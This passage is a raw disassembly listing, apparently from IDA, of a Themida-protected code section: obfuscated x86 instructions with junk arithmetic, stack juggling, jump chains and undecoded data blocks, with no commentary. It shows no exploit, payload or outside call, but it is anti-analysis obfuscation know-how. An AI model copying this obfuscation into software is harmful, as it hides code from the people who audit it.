edi, 93645AEh mov eax, edi add edi, 93642C6h cmp eax, [edi+2Ch] jnz short loc_552B92 jmp short loc_552BA5 ; --------------------------------------------------------------------------- loc_552B92: ; CODE XREF: Themida_:00552B8Ej mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_552BA1 ; --------------------------------------------------------------------------- loc_552B9C: ; CODE XREF: Themida_:00552BA3j add [edi+ecx*4+40h], eax dec ecx loc_552BA1: ; CODE XREF: Themida_:00552B9Aj or ecx, ecx jnz short loc_552B9C loc_552BA5: ; CODE XREF: Themida_:00552B90j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_552BB2: ; CODE XREF: Themida_:00552BB9j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_552BB2 loc_552BBB: ; CODE XREF: Themida_:005532A6j ; Themida_:00553B9Ej ... lodsb sub esp, 4 mov [esp], ebx mov bh, 31h shl bh, 3 add bh, 0A6h add al, bh mov ebx, [esp] add esp, 4 add al, 28h push ecx mov cl, 0C3h add cl, 7Dh sub al, cl pop ecx add al, 6Fh add al, bl sub al, 6Fh add al, 40h sub esp, 4 mov [esp], ecx mov cl, 0F4h push bx mov bh, 0CCh push eax mov ah, 9Eh xor ah, 55h not ah sub ah, 4 add cl, ah pop eax add cl, 0D1h sub cl, bh jmp loc_557210 ; --------------------------------------------------------------------------- db 8Bh dd 54562414h, 4C6815Eh, 81000000h, 4C6h, 74FF5600h, 8F5E0424h dd 248B2404h, 0ACE95524h db 42h, 1, 0 ; --------------------------------------------------------------------------- loc_552C33: ; CODE XREF: Themida_:00566D16j sub edx, ebp mov ebp, [esp] add esp, 4 add ebx, edx pop edx add edx, ebx mov ebx, [esp] add esp, 4 xchg edx, [esp] pop esp push esi push 5D1120B9h mov esi, [esp] add esp, 4 shr esi, 6 shl esi, 8 push 3B7Ch mov [esp], eax jmp loc_5637E8 ; --------------------------------------------------------------------------- dd 0E3E95650h, 8F00001Eh, 0FE5C2404h, 0E99C240Ch, 0FFFFFF3Bh dd 0FD2D9545h, 1106F9Fh, 0DFEAE9C3h, 34FF0000h, 0E9505B24h dd 111B3h ; --------------------------------------------------------------------------- loc_552C98: ; CODE XREF: Themida_:00565721j push esi push ecx push 29090DB3h pop ecx mov esi, 414125B0h xor esi, ecx pop ecx jmp loc_558706 ; --------------------------------------------------------------------------- db 89h, 0E2h, 81h dd 4C2h, 4EA8300h, 5C241487h, 11A9DE9h, 0E1895100h, 4BB53h dd 0C1810000h, 5017059Ch, 3410C181h, 0D9011BC8h, 70A6BA52h dd 0CA8119BBh, 1E062693h, 148FC281h, 0F2815599h, 9EE2357h dd 0BEFE281h, 0A7E91555h, 0B900001Fh, 19C26714h, 23D5E9h dd 24043300h, 33240431h, 248B2404h, 9CC13824h, 154BFE9h dd 34FF5C00h, 0C4815A24h, 4, 8B66D800h, 8157241Ch, 4ECh dd 24248900h, 4240483h, 4C7815Fh, 0E9000000h, 26C9h, 11345125h dd 2DD8F725h, 0EF75D8D3h, 704CC181h, 0C1296B39h, 76BFBA52h dd 0EA813A14h, 0CEDB0673h, 585AD129h, 0C181F129h, 0C89231Ch dd 8324348Bh, 67E904C4h db 11h, 1, 0 ; --------------------------------------------------------------------------- loc_552D7B: ; CODE XREF: Themida_:00563633j mov ebp, 0AFE5E80h xor ebp, edi mov edi, [esp] jmp loc_55FAB5 ; --------------------------------------------------------------------------- dw 2C87h dd 8B665C24h, 1868240Ch, 0E9000019h, 10676h dword_552D9C dd 8B2434FFh, 0E6E92404h ; DATA XREF: Themida_:0055294Co db 0F2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552DA7: ; CODE XREF: Themida_:005677F4j push 5C54h mov [esp], esi push edi mov edi, 76CB1888h jmp loc_55C10F ; --------------------------------------------------------------------------- loc_552DBA: ; CODE XREF: Themida_:0056210Fj add esp, 4 push ebp mov ebp, 4 add edi, ebp mov ebp, [esp] add esp, 4 jmp loc_554B35 ; --------------------------------------------------------------------------- dw 0C681h dd 0D0D23B62h, 14317E9h, 241C8900h, 0D36FE9h db 0 ; --------------------------------------------------------------------------- loc_552DE9: ; CODE XREF: Themida_:005552C1j push ebx xor dword ptr [esp], 7DF92716h pop esi jmp loc_55A744 ; --------------------------------------------------------------------------- loc_552DF7: ; CODE XREF: Themida_:005662C5j mov esi, 5AAC47AFh jmp loc_563295 ; --------------------------------------------------------------------------- loc_552E01: ; CODE XREF: Themida_:0055C66Ej pop edx add edx, 4 push esi mov esi, 395E760Dh jmp loc_562C33 ; --------------------------------------------------------------------------- db 5 dd 0A6B66F84h, 48BC201h, 4C48124h, 55000000h, 0A428E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552E2A: ; CODE XREF: Themida_:00561F84j sub esp, 4 mov [esp], ecx push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_55AD4B ; --------------------------------------------------------------------------- db 51h dd 3DFBE9h, 2C48100h, 0 aXqNaSasussv db 'аXQ╠N─а≤─ИUИS╒',0 align 10h aZ4Se db '┤4$И╔]',0 align 4 dd 5CF5E955h, 22350000h, 517AD246h, 290BE9h, 4C48100h dd 1000000h, 0B9E95DEAh, 0FF00009Eh, 835E2434h, 0B95104C4h dd 5E7824A5h, 60E9CB01h, 5300005Eh, 0A978E4BBh, 5BDA2914h dd 215AE9h, 0BA525700h, 7B57223Fh, 7701CA81h, 0F28174B0h dd 1902636Ah, 0B9DFE9h db 0 ; --------------------------------------------------------------------------- loc_552EC1: ; CODE XREF: Themida_:0055CBA4j push esi push 65022204h push dword ptr [esp] pop esi add esp, 4 sub esi, 31D90FC3h push 1FCEh mov [esp], esi mov ecx, [esp] add esp, 4 push dword ptr [esp] jmp loc_55CA9F ; --------------------------------------------------------------------------- loc_552EEA: ; CODE XREF: Themida_:00565CD5j pop edx sub esp, 4 mov [esp], ecx push edx mov edx, 0DA36EF1h dec edx sub esp, 4 jmp loc_55F7AD ; --------------------------------------------------------------------------- db 59h dd 0AE98141h, 51F41ED5h, 0A17FE9h, 0D8295900h, 0E9D8F75Bh dd 5CC8h, 4C1815Bh, 81000000h, 4ECh, 240C8900h, 0F6FEE9h dd 0CE68100h, 687FA207h, 1A23h, 0BF243C89h, 22265C21h dd 26B9E9h, 24148900h, 9B75F7BAh, 87C28167h, 554A7E5Eh dd 0D004E8BDh, 5DEA2152h, 0F896E9h, 7E7C100h, 68h, 7517E900h dd 24890000h, 24048124h, 4, 14598E9h db 0 ; --------------------------------------------------------------------------- loc_552F81: ; CODE XREF: Themida_:005621F5j mov esp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] jmp loc_568178 ; --------------------------------------------------------------------------- dw 0EE31h dd 58E9815Dh, 297D8E52h, 58C181F1h, 8B7D8E52h, 0C4832434h dd 240C3304h, 11D40E9h db 0 ; --------------------------------------------------------------------------- loc_552FB9: ; CODE XREF: Themida_:00567379j sub ebp, 11066006h jmp loc_5567E6 ; --------------------------------------------------------------------------- loc_552FC4: ; CODE XREF: Themida_:00558F3Fj add edx, esi pop esi add edi, edx jmp loc_55D3FF ; --------------------------------------------------------------------------- loc_552FCE: ; CODE XREF: Themida_:0055FCB8j mov esi, 13335CD6h jmp loc_559C57 ; --------------------------------------------------------------------------- dd 4C48158h, 31000000h, 0EC835EF0h, 1643E904h db 1, 0 word_552FEA dw 77FFh ; DATA XREF: Themida_:00552924o dd 58669D1Ch, 24041166h, 0FBC1E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552FFA: ; CODE XREF: Themida_:0055CC2Cj dec ebp jmp loc_561E29 ; --------------------------------------------------------------------------- dd 0E9525155h, 0C006h, 205h, 24048700h, 0D5E4E9h, 26800h dd 2C8B0000h, 4C48124h, 0E9000000h, 0A720h, 4BF5759h, 1000000h dd 0E6D6E9FBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_553036: ; CODE XREF: Themida_:0055D96Aj xor eax, 36CD2B52h shl eax, 8 add eax, 9B61E504h jmp loc_55A289 ; --------------------------------------------------------------------------- dd 24148966h, 0E99C5066h, 0FFFFFB67h, 5C240C87h, 15CE6856h dd 24890000h, 24048124h, 4, 4C6815Eh, 53000000h, 0F23BEBBBh dd 71CB8149h, 0E903DB65h, 0DF91h, 0F294E981h, 0CE292268h dd 0BDC68159h, 811A464Dh, 0BE5498C6h, 0CEE8169h, 0E9458634h dd 13EC0h, 0FB7FDE35h, 0BCED815Fh, 1351720h, 0BCC581C5h dd 58351720h, 7702E9h db 0 ; --------------------------------------------------------------------------- loc_5530B9: ; CODE XREF: Themida_:0055E8F7j mov ecx, 3B51190Ah add ebp, 7E59698Eh add ebp, ecx sub ebp, 7E59698Eh pop ecx add ebp, esi jmp loc_5531EB ; --------------------------------------------------------------------------- dd 0CD31E931h, 8A20F581h, 0E801B400h, 83242C8Bh, 40504C4h dd 0E9000000h, 1318Eh, 5224048Bh, 0C281E289h, 4, 8704C283h dd 0E95C2414h, 14A14h, 0C681E689h, 4, 0ACE9E955h db 2 dup(0) word_553116 dw 8B66h ; DATA XREF: Themida_:0055298Co dd 0EC812404h, 4, 2F9FE9h, 243C8900h, 42474FFh, 68243C8Bh dd 4D8Fh, 54243C89h, 81243C8Bh, 4C4h, 4C78100h, 0E9000000h dd 3437h dword_55314C dd 1C8868h, 24148900h, 927FDBAh, 81EAD158h, 744C43C2h ; DATA XREF: Themida_:00552AB4o dd 4EC8317h, 0BF243C89h, 3B4F1141h, 3C8BFA09h, 4C48124h dd 50000000h, 233D04B8h, 6E8C159h, 7856E9h, 912C00h, 2C9104D0h dd 0EC815A3Ah, 4, 51241C89h, 5366A9B1h, 0CC885052h, 0E9E78853h dd 13240h ; --------------------------------------------------------------------------- loc_5531A8: ; CODE XREF: Themida_:0056253Fj add esp, 4 jmp loc_554503 ; --------------------------------------------------------------------------- dd 226AC781h, 0BE93D5Ch db 14h, 1, 0 ; --------------------------------------------------------------------------- loc_5531BB: ; CODE XREF: Themida_:00565A55j add esp, 4 push edi push esi jmp loc_55839F ; --------------------------------------------------------------------------- dd 42474FFh, 8324048Bh, 3C8904ECh, 4484E924h, 0E95F0000h dd 0DA19h, 8904EC83h, 0EFE9240Ch db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5531EB: ; CODE XREF: Themida_:005530CFj sub ebp, 3B51190Ah jmp loc_55EB11 ; --------------------------------------------------------------------------- dw 0D101h dd 389AE9h, 24348700h, 240C895Ch, 6DFB6853h, 0C15B6837h dd 0F38108EBh, 0ABB17BAh, 685BD989h, 49DFh, 0B8240489h dd 2A5D4475h, 187FE9h db 0 ; --------------------------------------------------------------------------- loc_553229: ; CODE XREF: Themida_:00557E35j add esp, 4 jmp loc_55FB38 ; --------------------------------------------------------------------------- db 1, 0F0h, 8Bh dd 7DE92434h db 29h, 1, 0 ; --------------------------------------------------------------------------- loc_55323B: ; CODE XREF: Themida_:00553D54j mov esp, [esp] xor al, 33h jmp loc_56312F ; --------------------------------------------------------------------------- loc_553245: ; CODE XREF: Themida_:00561504j mov [esp], ecx mov ecx, esp jmp loc_55B88D ; --------------------------------------------------------------------------- loc_55324F: ; CODE XREF: Themida_:00554D16j xchg edi, [esp] pop esp jmp loc_5546DA ; --------------------------------------------------------------------------- loc_553258: ; CODE XREF: Themida_:00557FF9j mov ebp, ecx mov ecx, [esp] add esp, 4 jmp loc_55F373 ; --------------------------------------------------------------------------- db 0E9h, 51h, 0F9h dd 0EE29FFFFh, 0E92434FFh, 0D146h, 0AE47D2BAh, 538FE927h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55327E: ; CODE XREF: Themida_:00553B03j pop ebx pop ecx mov ecx, eax pop eax sub edx, ecx mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add edx, eax push ebx mov ebx, 0A7D4D6Ah add edx, ebx pop ebx jmp loc_552BBB ; --------------------------------------------------------------------------- db 5Fh dd 0DAFBF681h, 0DDE944F5h, 2900013Bh, 76382DD0h, 0E95A33A0h dd 0A532h, 0F8F1E958h db 2 dup(0FFh) word_5532CA dw 30ACh ; DATA XREF: Themida_:005528E8o dd 4EC83D8h, 0B1240C89h, 12CEE9D5h, 0C5810000h, 4, 5C242C87h dd 0E9C88950h, 26C6h ; --------------------------------------------------------------------------- loc_5532EC: ; CODE XREF: Themida_:005638F7j push edx mov edx, 4 add ecx, edx pop edx add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_559CAA ; --------------------------------------------------------------------------- loc_553309: ; CODE XREF: Themida_:00565E5Ej push eax mov eax, 0DA2EE60h mov esi, eax pop eax jmp loc_561E02 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 4C48104h, 0C1000000h, 0EA8105E2h, 767E7B12h dd 134DE9h, 81D72900h, 941A81C7h, 2434FF07h, 99F0E9h db 0 byte_553341 db 66h, 8Bh, 24h ; DATA XREF: Themida_:00552A10o dd 0F871E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55334A: ; CODE XREF: Themida_:005542E9j push 60ACh mov [esp], ecx push 1000000h push dword ptr [esp] mov ecx, [esp] jmp loc_5592E8 ; --------------------------------------------------------------------------- loc_553362: ; CODE XREF: Themida_:00561885j add esp, 4 push 2132h jmp loc_563435 ; --------------------------------------------------------------------------- db 66h dd 0F590C281h, 0E9D30166h, 1319Eh, 0E9F8005Ah, 7FB4h ; --------------------------------------------------------------------------- loc_553384: ; CODE XREF: Themida_:0055BB3Fj add ebp, esi add ebp, 74A13BDFh jmp loc_5566C8 ; --------------------------------------------------------------------------- loc_553391: ; CODE XREF: Themida_:0055BEFDj xor dl, 1 add bh, dl mov edx, [esp] jmp loc_557BF5 ; --------------------------------------------------------------------------- dw 0DEF7h aBScS2l db '│фу',0Ah db 'АC)нИ2L',0 dd 5EF38900h, 10405E9h, 7BB95100h, 296F5B42h, 240C8BCFh dd 4C481h, 348B0000h, 4C48324h, 0EAEBE951h, 0F75F0000h dd 0DB5635D8h, 0C329CF32h, 0B817E9h, 43E18000h, 300DE9h db 0 ; --------------------------------------------------------------------------- loc_5533E9: ; CODE XREF: Themida_:00555B43j and eax, 34D87474h push esi mov esi, 267A5561h xor eax, esi pop esi jmp loc_5619B3 ; --------------------------------------------------------------------------- dd 0E0C0D0F6h, 0E91D0C05h, 9F7Fh, 0E9240489h, 5905h, 1AFCC681h dd 1C8B2939h, 4C48124h, 33000000h, 34312434h, 9A12E924h dd 0BD550000h, 4, 875DEA01h, 0E95C2414h, 0DB2Ch, 0E8285A66h dd 116E9h db 0 ; --------------------------------------------------------------------------- loc_553445: ; CODE XREF: Themida_:0055D707j pop edi jmp loc_55F45F ; --------------------------------------------------------------------------- db 4Eh dd 26DCCE81h, 0EED15C82h, 7C9EBA52h, 0EAC1735Fh, 0B5EA8102h dd 11233D9h, 1208E9D6h, 0C8B0001h, 0E9545224h, 463Bh, 0CDBDE95Fh dd 0E9510000h, 0E4BEh ; --------------------------------------------------------------------------- loc_553480: ; CODE XREF: Themida_:005638E2j push esi mov esi, 156709F8h mov eax, esi pop esi jmp loc_567C3C ; --------------------------------------------------------------------------- dw 815Fh dd 0F0042444h, 17C6309h, 8104245Ch, 0F004246Ch, 8B7C6309h db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] mov ebp, [esp] jmp loc_55E6A4 ; --------------------------------------------------------------------------- dd 0FF240C89h, 59042474h, 8B24048Fh, 0CFE92424h db 45h, 2 dup(0) aM0Hjv db '╛0ьh╕V',0 ; DATA XREF: Themida_:00552950o dw 8900h dd 2368241Ch, 8900005Bh, 5250240Ch, 0C6FEB9B6h, 5104E6C0h dd 0E58027B5h, 0CACD809Fh, 0E952D5F6h, 10216h ; --------------------------------------------------------------------------- loc_553504: ; CODE XREF: Themida_:0055D78Bj mov edi, esp jmp loc_566BA9 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 42F78100h, 117742Dh, 243C8BF9h, 4C481h, 7DE90000h dd 810000B4h, 0A4792BE5h, 7E5C148h, 26F581h, 26E982E1h dd 8B000094h, 0C483242Ch, 0E7895704h, 4C781h, 86E90000h dd 560000C9h, 0E260E9h db 0 ; --------------------------------------------------------------------------- loc_553555: ; CODE XREF: Themida_:00562B3Bj inc ebx jmp loc_55F15B ; --------------------------------------------------------------------------- db 59h dd offset dword_4EF14C+71Ch dd 240C8900h, 203DE9h db 0 ; --------------------------------------------------------------------------- loc_553569: ; CODE XREF: Themida_:0055969Ej pop esi xor esi, 222441CFh xchg edx, esi add edx, 0FFFFFFFFh jmp loc_55C1DA ; --------------------------------------------------------------------------- loc_55357D: ; CODE XREF: Themida_:00556DF3j mov [esp], ebx mov ebx, 0 add ebx, eax push ecx jmp loc_5589FA ; --------------------------------------------------------------------------- db 59h, 50h, 0B8h dd 16A34681h, 5583BB53h, 0D8291BCCh, 4EC835Bh, 906BE9h dd 2474FF00h, 0DF9E904h, 0EC830001h, 24048904h, 1CB8h dd 8BC38900h, 83532404h, 248904ECh, 24048124h, 4, 4BD555Bh dd 1000000h, 242C8BEBh, 4C481h, 0C3810000h, 4, 0E719E9h dd 0F7D58700h, 0A53CE9D2h, 248B0000h, 0EC835624h, 243C8904h dd 89D88950h, 2434FFC7h, 4EC8158h, 89000000h, 0E789243Ch dd 4C781h, 0C7810000h, 4, 5C243C87h, 3C8BFE89h, 0E0895024h dd 405h, 3E886800h, 34890000h, 0D7685224h, 5A6D8D5Bh, 0A42DC281h dd 0D6899272h, 0E92434FFh, 51C3h ; --------------------------------------------------------------------------- loc_55364C: ; CODE XREF: Themida_:00563290j xor eax, edx pop edx jmp loc_556837 ; --------------------------------------------------------------------------- loc_553654: ; CODE XREF: Themida_:005647FCj mov eax, esp jmp loc_553A17 ; --------------------------------------------------------------------------- loc_55365B: ; CODE XREF: Themida_:005635C3j xor eax, ecx push 1DACh mov [esp], eax jmp loc_563EDA ; --------------------------------------------------------------------------- dw 8B66h dd 6851240Ch, 4E21h, 0E9242489h, 561Bh ; --------------------------------------------------------------------------- loc_55367C: ; CODE XREF: Themida_:0055CC80j sub esp, 4 jmp loc_55E23D ; --------------------------------------------------------------------------- loc_553687: ; CODE XREF: Themida_:00566305j mov eax, [esp] push ebp push esp pop ebp jmp loc_563498 ; --------------------------------------------------------------------------- dw 0F381h dd 48510A42h, 74765B05h, 7B32D22h, 0D801218Bh, 8B07B305h dd 765B2D21h, 1C8B2274h, 4C48324h, 31240433h, 4332404h dd 24248B24h, 9C2404D3h, 0FFF4F2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5536C9: ; CODE XREF: Themida_:00560906j pop edx push esi push ebp mov ebp, 4CBB1536h jmp loc_564787 ; --------------------------------------------------------------------------- dw 0CD81h dd 39445285h, 8105E5C1h, 51A864C5h, 0B4C281C0h, 177AF47h dd 0B4EA81EAh, 0E977AF47h, 1878h, 2606C381h, 0CEE9078Dh dd 5A00009Eh, 0C07FE180h, 0E98005E9h, 59CB00C8h, 0E9C0B60Fh dd 0D085h dword_553718 dd 2B60F66h, 4EC81h, 0D5E90000h ; DATA XREF: Themida_:00552B0Co db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_553727: ; CODE XREF: Themida_:0055BB61j xchg ebp, [esp] jmp loc_564801 ; --------------------------------------------------------------------------- loc_55372F: ; CODE XREF: Themida_:0055E0E5j add edi, ebx sub edi, 42E84D77h mov ebx, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi jmp loc_555757 ; --------------------------------------------------------------------------- db 33h dd 7DE9240Ch, 8300003Ch, 3C8702C7h, 24248B24h, 8904EC83h dd 0DCE9240Ch, 81000076h, 0C6020CF2h, 8BD00100h, 89512414h dd 4A63E9E1h, 0CB810001h, 64B33055h, 111EB81h, 7FE92AD0h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55378B: ; CODE XREF: Themida_:00555C95j push ebp mov ebp, 727C279Bh and ebp, 5C145EECh not ebp neg ebp add ebp, 0B66DFB16h sub ebx, ebp pop ebp add ebx, 37714215h jmp loc_556646 ; --------------------------------------------------------------------------- db 0C1h dd 0EFC106EFh, 8E7C104h, 85EAEF81h, 0FE31E680h, 81243C8Bh dd 4C4h, 3EEC100h, 135D8E9h db 0 ; --------------------------------------------------------------------------- loc_5537D1: ; CODE XREF: Themida_:00565D26j pop ebp pop dword ptr [esp] pop esp push dword ptr [esp] mov eax, [esp] add esp, 4 push 21ECh mov [esp], ecx push esp pop ecx jmp loc_55CE1F ; --------------------------------------------------------------------------- loc_5537EE: ; CODE XREF: Themida_:00556DE4j shr eax, 0Bh xor ecx, eax jmp loc_558CEE ; --------------------------------------------------------------------------- loc_5537F8: ; CODE XREF: Themida_:00567A95j mov [esp], edi push ebx push ecx mov ecx, 82E57DDh mov ebx, ecx pop ecx mov edi, ebx pop ebx mov esi, edi pop edi push edi mov edi, 65923259h jmp loc_55AC8D ; --------------------------------------------------------------------------- dw 0C89h dd 1875B924h, 21E941F0h, 0B3000083h, 0E9DC882Eh, 1196Eh dd 4BEh, 4126E900h, 0C1830000h, 4255E904h, 0D0280000h dd 8B66E504h, 0C4832414h, 5F376802h, 0C890000h, 0E94AB524h dd 0E92Eh ; --------------------------------------------------------------------------- loc_553858: ; CODE XREF: Themida_:0055FF8Bj neg dl add dl, 0C3h mov bl, dl mov edx, [esp] add esp, 4 xor bl, 14h push ecx push edx mov dh, bl push eax mov ah, dh mov ch, ah pop eax pop edx mov dl, ch pop ecx mov ebx, [esp] push edi mov edi, esp add edi, 4 jmp loc_5629FA ; --------------------------------------------------------------------------- loc_553887: ; CODE XREF: Themida_:0055CCDEj add eax, 4 jmp loc_56790F ; --------------------------------------------------------------------------- db 31h, 34h, 24h dd 5C243433h, 0F66E9F6h, 9368CCB6h, 89000058h, 0F5E9240Ch db 14h, 1, 0 ; --------------------------------------------------------------------------- loc_5538AB: ; CODE XREF: Themida_:0055637Bj pop ecx add edx, 8B10C510h jmp loc_564FB6 ; --------------------------------------------------------------------------- db 35h dd 386E5382h, 0D08E0C1h, 74F41E17h, 76729C25h, 55042D64h dd 0C5295D47h, 0E9DD0158h, 1E87h ; --------------------------------------------------------------------------- loc_5538D8: ; CODE XREF: Themida_:005574E0j mov [esp], ebx xor dword ptr [esp], 56F269C5h mov eax, [esp] push edx sub esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_55EE4C ; --------------------------------------------------------------------------- db 83h dd 0EC8304C4h, 241C8904h, 4B951h, 0E9560000h, 0F2D9h, 0FFF2A6E9h dd 0FA895DFFh, 64C6815Fh, 1504646h, 64EE81D6h, 5A504646h dd 38C1E94Eh, 4BB0001h, 81000000h, 0D26943C6h, 81DE0138h dd 0D26943EEh, 2434FF38h, 5B2434FFh, 125C68h, 24348900h dd 0C681E689h, 4, 8704C683h, 835C2434h, 0C8904ECh, 50E18924h dd 4B8h, 8BC10100h, 0C4832404h, 0F5F9E904h, 835D0000h dd 895204C4h, 4C281E2h, 81000000h, 4EAh, 24148700h, 2404895Ch dd 2B8h, 0B7BB5300h, 81346676h, 6357C8F3h, 53F38174h, 5705782Ah dd 0C66D5DBFh, 0FFC7833Fh, 0DC73E9h, 30D6B900h, 0CE312052h dd 0AB6DE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5539C6: ; CODE XREF: Themida_:00563EF5j mov ebx, [esp] jmp loc_5616D4 ; --------------------------------------------------------------------------- dw 0C15Bh dd 575003EDh, 7A30B951h, 7BBF0482h, 0E9083290h, 0F73h dd 8BEA0158h, 0C483242Ch, 39B36804h, 0C890000h, 4EC8124h dd 0E9000000h, 10C7h, 5C240C87h, 0C8EEEF81h, 0FD891465h dd 51243C8Bh, 0A5E9E189h db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553A17: ; CODE XREF: Themida_:00553656j push edx mov edx, 4 add eax, edx jmp loc_558BBF ; --------------------------------------------------------------------------- dd 2635352Dh, 52C8010Eh, 263535BAh, 1E2FE90Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_553A36: ; CODE XREF: Themida_:00555CE3j mov esi, 6BDD7A8Eh jmp loc_55B913 ; --------------------------------------------------------------------------- loc_553A40: ; CODE XREF: Themida_:0055C844j pop edx push 72D7h mov [esp], ecx push esp pop ecx add ecx, 4 push 14DFh mov [esp], edi mov edi, 4 add ecx, edi mov edi, [esp] jmp loc_55BBF3 ; --------------------------------------------------------------------------- loc_553A68: ; CODE XREF: Themida_:0056018Bj push ebx mov ebx, 780F79B4h mov ebp, ebx pop ebx push 0E68h mov [esp], ebx push esi mov esi, 2C1C196Dh push ebp mov ebp, 61C53D42h jmp loc_558A85 ; --------------------------------------------------------------------------- loc_553A8A: ; CODE XREF: Themida_:005639C6j mov ebp, esp push eax mov eax, 4 jmp loc_554792 ; --------------------------------------------------------------------------- db 33h dd 77E92414h db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553A9F: ; CODE XREF: Themida_:0055C1DCj add esi, 147462CBh sub esp, 4 jmp loc_55A9A1 ; --------------------------------------------------------------------------- loc_553AAD: ; CODE XREF: Themida_:00564E5Dj push dword ptr [esp] pop edx push edx mov edx, esp add edx, 4 push esi mov esi, 55CA34F5h inc esi jmp loc_561F31 ; --------------------------------------------------------------------------- dw 0DE89h dd 0F0315F5Bh, 0E92434FFh, 4761h ; --------------------------------------------------------------------------- loc_553AD4: ; CODE XREF: Themida_:005574D7j pop edi push ebx push dword ptr [esp+4] pop ebx jmp loc_5565F7 ; --------------------------------------------------------------------------- loc_553AE0: ; CODE XREF: Themida_:00559B81j pop ebp sub ebp, 28A4CEA6h push ebp add dword ptr [esp], 6C2A40D3h pop ebx sub ebx, 6C2A40D3h pop ebp jmp loc_560757 ; --------------------------------------------------------------------------- loc_553AFC: ; CODE XREF: Themida_:0056772Aj add eax, ebx add eax, 66636A4Dh jmp loc_55327E ; --------------------------------------------------------------------------- loc_553B08: ; CODE XREF: Themida_:0055A872j mov ecx, [esp] add esp, 4 push eax mov eax, esp sub esp, 4 mov [esp], ecx mov ecx, 631E47BAh add ecx, 23651C99h jmp loc_56159C ; --------------------------------------------------------------------------- loc_553B2A: ; CODE XREF: Themida_:005572D6j mov ebx, 1EF23C29h and ebx, 4D3F1F19h jmp loc_563779 ; --------------------------------------------------------------------------- loc_553B3A: ; CODE XREF: Themida_:0055F270j push ebx mov ebx, 68CB05D0h push 7CB00757h pop eax xor eax, ebx pop ebx xchg eax, ecx not ecx jmp loc_563170 ; --------------------------------------------------------------------------- db 52h, 89h, 0E2h dd 4C281h, 0C2830000h, 24148704h, 0BF8DE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_553B66: ; CODE XREF: Themida_:005627F6j add ebx, ecx pop ecx jmp loc_556943 ; --------------------------------------------------------------------------- aCbQrSM db 'C│кзq░^Ию╛',0 align 2 dw 0C181h dd 4, 4E981h, 0C870000h, 2BE95C24h db 0F8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553B8F: ; CODE XREF: Themida_:00559594j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], eax jmp loc_552BBB ; --------------------------------------------------------------------------- loc_553BA3: ; CODE XREF: Themida_:005559EBj add edi, 4 push ebp mov ebp, 4 add edi, ebp pop ebp xchg edi, [esp] mov esp, [esp] push ebx push esp jmp loc_56553F ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 0E93A0404h, 0FFFFF5B9h, 5AD0295Dh, 0B7A9E9h db 0 ; --------------------------------------------------------------------------- loc_553BD5: ; CODE XREF: Themida_:00557AF9j mov cl, 88h add bl, cl pop ecx pop edx push ebx push 2F9Ah mov [esp], edx push eax push 69E377D3h jmp loc_55854B ; --------------------------------------------------------------------------- db 0FEh dd 0CAEE80CEh, 4CF5E9h, 7878BD00h, 0CBE0582h, 816BDA90h dd 2D70EEEEh, 84C68148h, 817D737Eh, 0B578C8C6h, 0E9EE0158h dd 10432h, 87EF814Fh, 1CB7C95h, 0F2E95FFDh db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_553C2B: ; CODE XREF: Themida_:005562B0j xor edi, 20F30543h neg edi neg edi push ecx mov ecx, 0 jmp loc_555B7F ; --------------------------------------------------------------------------- dd 8ADBC168h, 0C52958BAh, 88E58158h, 816CE121h, 49178BC5h dd 9C08E910h, 0EC830000h, 24348904h, 4CE9E689h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_553C67: ; CODE XREF: Themida_:0055A70Bj sub edi, esi mov esi, [esp] jmp loc_566248 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C5h dd 18102486h, 5310C581h, 0FD01782Eh, 1C42E953h, 53660001h dd 4F0494B3h, 0C237E9h db 0 ; --------------------------------------------------------------------------- loc_553C91: ; CODE XREF: Themida_:00556DBAj push ebx mov ebx, 15E05A5h sub ebx, 20E14DAAh jmp loc_55AC67 ; --------------------------------------------------------------------------- loc_553CA2: ; CODE XREF: Themida_:0055D8E3j mov ecx, [esp] add esp, 4 jmp loc_552BBB ; --------------------------------------------------------------------------- loc_553CB0: ; CODE XREF: Themida_:0055E995j pop esp push 6FB8h mov [esp], ebx sub dword ptr [esp], 332326EBh mov ebp, [esp] add esp, 4 add ebp, 332326EBh mov ebx, [esp] add esp, 4 sub dword ptr [esp+4], 6B544212h add [esp+4], ebp add dword ptr [esp+4], 6B544212h pop ebp pop dword ptr [eax] push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi mov edi, 5EF6B90h shl edi, 3 jmp loc_5562D1 ; --------------------------------------------------------------------------- dd 2B850h, 0C5010000h, 